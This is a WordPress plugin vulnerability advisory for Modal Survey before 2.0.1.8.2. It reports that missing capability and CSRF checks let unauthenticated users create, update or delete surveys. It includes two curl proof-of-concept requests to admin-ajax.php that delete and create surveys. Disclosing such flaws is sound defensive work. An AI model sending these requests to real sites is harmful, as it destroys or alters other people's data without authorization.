WordPress Plugin Vulnerabilities

Modal Survey < 2.0.1.8.2 - Unauthenticated Arbitrary Survey Update, Deletion and Creation

Description

The plugin AJAX calls (including unauthenticated ones) did not have capabilities and CSRF checks, allowing unauthenticated users to update, delete or create arbitrary surveys.

Proof of Concept

curl --url https://exmple.com/wp-admin/admin-ajax.php --data "action=ajax_survey&sspcmd=delete&survey_id=110251535"

curl --url https://example.com/wp-admin/admin-ajax.php --data 'action=ajax_survey&sspcmd=add&survey_id=1337&survey_name=test'

Affects Plugins

Fixed in 2.0.1.8.2

References

Classification

Type
ACCESS CONTROLS
CWE
CVSS

Miscellaneous

Original Researcher
Pagely
Submitter
John Castro
Submitter website
Submitter twitter
Verified
No

Timeline

Publicly Published
2021-01-08 (about 3 years ago)
Added
2021-01-08 (about 3 years ago)
Last Updated
2021-01-10 (about 3 years ago)

Other